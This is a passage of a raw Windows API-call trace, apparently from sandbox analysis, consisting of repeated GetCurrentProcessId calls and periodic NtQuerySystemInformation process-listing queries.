GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0124.504] GetCurrentProcessId () returned 0xd70 [0125.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c260) returned 0x0 [0125.034] GetCurrentProcessId () returned 0xd70 [0125.034] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.035] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.036] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.037] GetCurrentProcessId () returned 0xd70 [0125.038] GetCurrentProcessId () returned 0xd70 [0125.038] GetCurrentProcessId () returned 0xd70 [0125.038] GetCurrentProcessId () returned 0xd70 [0125.038] GetCurrentProcessId () returned 0xd70 [0125.038] GetCurrentProcessId () returned 0xd70 [0125.038] GetCurrentProcessId () returned 0xd70 [0125.038] GetCurrentProcessId () returned 0xd70 [0125.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c1c0) returned 0x0 [0125.668] GetCurrentProcessId () returned 0xd70 [0125.668] GetCurrentProcessId () returned 0xd70 [0125.668] GetCurrentProcessId () returned 0xd70 [0125.668] GetCurrentProcessId () returned 0xd70 [0125.668] GetCurrentProcessId () returned 0xd70 [0125.668] GetCurrentProcessId () returned 0xd70 [0125.668] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.669] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.670] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.671] GetCurrentProcessId () returned 0xd70 [0125.672] GetCurrentProcessId () returned 0xd70 [0125.672] GetCurrentProcessId () returned 0xd70 [0125.672] GetCurrentProcessId () returned 0xd70 [0125.672] GetCurrentProcessId () returned 0xd70 [0126.208] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c168) returned 0x0 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.209] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.210] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.211] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.212] GetCurrentProcessId () returned 0xd70 [0126.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c168) returned 0x0 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.784] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.785] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.786] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0126.787] GetCurrentProcessId () returned 0xd70 [0127.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c118) returned 0x0 [0127.461] GetCurrentProcessId () returned 0xd70 [0127.461] GetCurrentProcessId () returned 0xd70 [0127.461] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.462] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.463] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.464] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.465] GetCurrentProcessId () returned 0xd70 [0127.509] GetCurrentProcessId () returned 0xd70 [0127.509] GetCurrentProcessId () returned 0xd70 [0127.509] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0127.510] GetCurrentProcessId () returned 0xd70 [0128.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c1b8) returned 0x0 [0128.022] GetCurrentProcessId () returned 0xd70 [0128.022] GetCurrentProcessId () returned 0xd70 [0128.022] GetCurrentProcessId () returned 0xd70 [0128.022] GetCurrentProcessId () returned 0xd70 [0128.022] GetCurrentProcessId () returned 0xd70 [0128.022] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () returned 0xd70 [0128.023] GetCurrentProcessId () 